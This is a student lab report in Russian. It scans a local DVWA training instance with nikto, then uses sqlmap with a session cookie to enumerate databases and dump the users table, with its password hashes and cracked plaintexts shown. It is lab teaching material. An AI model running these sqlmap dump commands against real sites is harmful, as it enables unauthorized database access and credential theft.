

Четвертый этап реализации проекта

Тестирование веб приложений

Кичигина Полина Евгеньевна

2 мая 2026

Российский университет дружбы народов, Москва, Россия

Получить навыки работы в nikto.

nikto — базовый сканер безопасности веб-сервера. Он сканирует и обнаруживает уязвимости в веб-приложениях, обычно вызванные неправильной конфигурацией на самом сервере, файлами, установленными по умолчанию, и небезопасными файлами, а также устаревшими серверными приложениями.

Nikto просканирует сайт и напишет список уязвимостей, ошибок конфигурации и опасных файлов.

```
(pekichigina@pekichigina)-[~]
$ nikto -h http://localhost/DVWA/
- Nikto v2.5.0

+ Target IP: 127.0.0.1
+ Target Hostname: localhost
+ Target Port: 80
+ Start Time: 2026-05-02 01:44:45 (GMT3)

+ Server: Apache/2.4.65 (Debian)
+ /DVWA/: The anti-clickjacking X-Frame-Options header is not present. See: ht
/Web/HTTP/Headers/X-Frame-Options
+ /DVWA/: The X-Content-Type-Options header is not set. This could allow the u
site in a different fashion to the MIME type. See: https://www.netsparker.com
ties/missing-content-type-header/
+ Root page /DVWA redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /DVWA/config/: Directory indexing found.
+ /DVWA/config/: Configuration information may be available remotely.
+ /DVWA/tests/: Directory indexing found.
+ /DVWA/tests/: This might be interesting.
```

Рис. 1: Разведка с nikto

Получаем куки для sqlmap. Sqlmap найдет все базы данных на сервере.

```
(pekichigina@pekichigina)-[~]
$ sqlmap -u "http://localhost/DVWA/vulnerabilities/sql/?id=1&Submit" --cookie="PHPSESSID=1b2619cbcc302ad5da2a4163d6aa52da; security=low" --dbs --batch

{1.9.11#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:10:19 /2026-05-02/

[02:10:20] [INFO] testing connection to the target URL
[02:10:20] [INFO] testing if the target URL content is stable
[02:10:20] [INFO] target URL content is stable
[02:10:20] [INFO] testing if GET parameter 'id' is dynamic
```

Рис. 2: Запускаем sqlmap

Теперь вытащим все пароли пользователей.

A terminal window with a dark background. The prompt is '(pekichigina@pekichigina)-[~]'. The command entered is '\$ sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit" --cookie="PHPSESSID=0b2619cbcc302ad5da2a4163d6aa52da; security=low" -D dvwa -T users --dump --batch'. The command is highlighted in yellow.

```
(pekichigina@pekichigina)-[~]  
$ sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit" --cookie="PHPSESSID=0b2619cbcc302ad5da2a4163d6aa52da; security=low" -D dvwa -T users --dump --batch
```

Рис. 3: выполняем команду

Получаем таблицу с логинами и хэшами паролей.

user_id		role	user	avatar	password		last
name	first_name	last_login	failed_login	account_enabled			
1	admin	admin	/DVWA/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin		
2	admin	2026-04-11 22:29:26	1	1			
3	user	gordonb	/DVWA/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown		
4	Gordon	2026-03-21 17:14:30	0	1			
5	user	1337	/DVWA/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me		
6	Hack	2026-03-21 17:14:30	0	1			
7	user	pablo	/DVWA/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Pica		
8	Pablo	2026-03-21 17:14:30	0	1			
9	user	smithy	/DVWA/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smit		
10	Bob	2026-03-21 17:14:30	0	1			

Рис. 4: Смотрим таблицу

Мы получили навыки работы в nikto.